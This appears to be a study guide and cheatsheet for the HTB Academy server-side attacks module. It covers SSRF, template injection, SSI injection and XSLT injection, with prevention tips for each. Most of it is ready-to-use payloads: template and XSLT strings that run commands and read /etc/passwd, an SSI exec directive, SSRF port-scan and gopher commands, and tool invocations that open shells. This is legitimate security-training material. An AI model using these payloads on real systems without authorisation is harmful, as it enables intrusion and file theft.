All articles

Server-Side Attacks — SSRF, SSTI, SSI and XSLT Injection (HTB CWES)

Built from the Server-side Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every payload and fingerprint kept, condensed. Labs and lessons are on HTB Academy.

Four server-side classes — the request goes to the server, not the browser: SSRF, SSTI, SSI injection, XSLT injection. All but basic SSRF can reach RCE.

1. SSRF — Server-Side Request Forgery

The app fetches a URL from user input, so you make it send requests — to internal hosts, behind firewalls. Useful URL schemes:

Scheme Does
http(s):// reach internal/restricted endpoints, bypass WAFs
file:// read local files (LFI) — file:///etc/passwd
gopher:// send arbitrary bytes → craft POST requests, talk to SMTP/Redis/MySQL

Identify: point it at your listener (nc -lnvp 8000) — a callback confirms SSRF. Point it at http://127.0.0.1/index.php — if the HTML comes back, it's non-blind.

Internal port scan through the SSRF (filter the closed-port error):

seq 1 10000 > ports.txt
ffuf -w ports.txt -u http://TARGET/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" \
     -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

Reach restricted endpoints (vhost/dir brute via the SSRF param), LFI (file:///etc/passwd → read source), and gopher to send a POST (build the raw HTTP request, URL-encode it, prefix gopher://host:80/_, then URL-encode the whole thing again because it rides inside a POST param):

gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:...%0D%0A%0D%0Aadminpw%3Dadmin

Gopherus generates these for MySQL, PostgreSQL, Redis, FastCGI, SMTP, memcached (python2.7 gopherus.py --exploit smtp).

Blind SSRF (response not reflected): you can still port-scan / test file existence when the error message differs for open/closed or existing/missing. Prevent: whitelist origins and schemes, egress firewall, network segmentation.

2. SSTI — Server-Side Template Injection

Template engines (Jinja, Twig) render a template + values. SSTI is when user input lands in the template (not the values) → code execution.

Confirm — break the syntax, expect an error:

${{<%[%'"}}%\.

Fingerprint the engine:

${7*7}      → if executed … else →
{{7*7}}     → if 49 executed → {{7*'7'}}  →  Jinja = 7777777 ,  Twig = 49

Jinja2 (Python/Flask) — info disclosure → LFI → RCE:

{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig (PHP/Symfony):

{{ _self }}
{{ "/etc/passwd"|file_excerpt(1,-1) }}
{{ ['id'] | filter('system') }}

Tool — SSTImap (modern tplmap): python3 sstimap.py -u 'http://TARGET/?name=test' (auto-detects engine); -D /etc/passwd ./out (read), -S id (command), --os-shell (interactive). Payloads: PayloadsAllTheThings SSTI. Prevent: never put user input in the template string; sandbox the engine (separate Docker).

3. SSI — Server-Side Includes Injection

SSI directives in .shtml/.shtm/.stm (or configured extensions) generate dynamic HTML. If user input is written into such a file unsanitized → injection:

<!--#printenv -->                       prove it (dumps env vars)
<!--#exec cmd="id" -->                  RCE
<!--#echo var="DOCUMENT_NAME" -->       print a variable
<!--#include virtual="index.html" -->   include a file (webroot only)
<!--#config errmsg="Error!" -->

Confirm with <!--#printenv -->, then <!--#exec cmd="whoami" -->. Prevent: validate input, restrict SSI to specific extensions/dirs, disable the exec directive.

4. XSLT Injection

XSLT transforms XML (e.g. into HTML). If user input is inserted into the XSL before processing, you inject XSL elements. Confirm with a broken tag (<) → 500 error. Fingerprint the processor:

<xsl:value-of select="system-property('xsl:version')" />    <!-- e.g. 1.0 / libxslt -->
<xsl:value-of select="system-property('xsl:vendor')" />

LFI and RCE (when the lib allows PHP functions):

<xsl:value-of select="unparsed-text('/etc/passwd','utf-8')" />       <!-- XSLT 2.0 -->
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
<xsl:value-of select="php:function('system','id')" />                 <!-- RCE -->

Prevent: HTML-encode user input before it hits the XSL, disable PHP functions, low-priv processor, patch the library.

5. What to carry into the CWES exam

  • SSRF: confirm with a callback, test 127.0.0.1 for non-blind, then ffuf the internal ports, file:// for LFI, and gopher:// (via Gopherus) to POST into internal services.
  • SSTI: the chain is break (${{<%…) → fingerprint ({{7*7}}, {{7*'7'}}) → engine-specific RCE. Memorize the Jinja __globals__…__import__('os').popen and Twig filter('system') one-liners, or let SSTImap do it.
  • SSI: .shtml + reflected input → <!--#exec cmd="id" -->.
  • XSLT: < to break, system-property to fingerprint, php:function('system','id') for RCE.
  • All four reduce to "user input reaches a server-side interpreter" — the skills assessment mixes them; test every reflected/fetched parameter against each.

Cheatsheet — Server-Side Attacks

SSRF

nc -lnvp 8000                                  # confirm callback
# non-blind test: dateserver=http://127.0.0.1/index.php
seq 1 10000 > ports.txt
ffuf -w ports.txt -u http://TARGET/ -X POST -d "dateserver=http://127.0.0.1:FUZZ/" -fr "Failed to connect to"
# schemes: file:///etc/passwd   gopher://host:80/_<raw-HTTP-url-encoded-twice>
python2.7 gopherus.py --exploit smtp|redis|mysql|fastcgi

SSTI

confirm: ${{<%[%'"}}%\.
fingerprint: ${7*7} → {{7*7}} → {{7*'7'}}   (Jinja 7777777 | Twig 49)
Jinja RCE: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Jinja LFI: {{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
Twig RCE:  {{ ['id'] | filter('system') }}
Twig LFI:  {{ "/etc/passwd"|file_excerpt(1,-1) }}
tool: python3 sstimap.py -u URL  [-S id | -D /etc/passwd out | --os-shell]

SSI (.shtml)

<!--#printenv -->      <!--#exec cmd="id" -->      <!--#include virtual="x" -->

XSLT

confirm: <
<xsl:value-of select="system-property('xsl:version')" />
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
<xsl:value-of select="php:function('system','id')" />

Built from HTB Academy's Server-side Attacks module — labs, lessons and the CWES exam are on HTB Academy.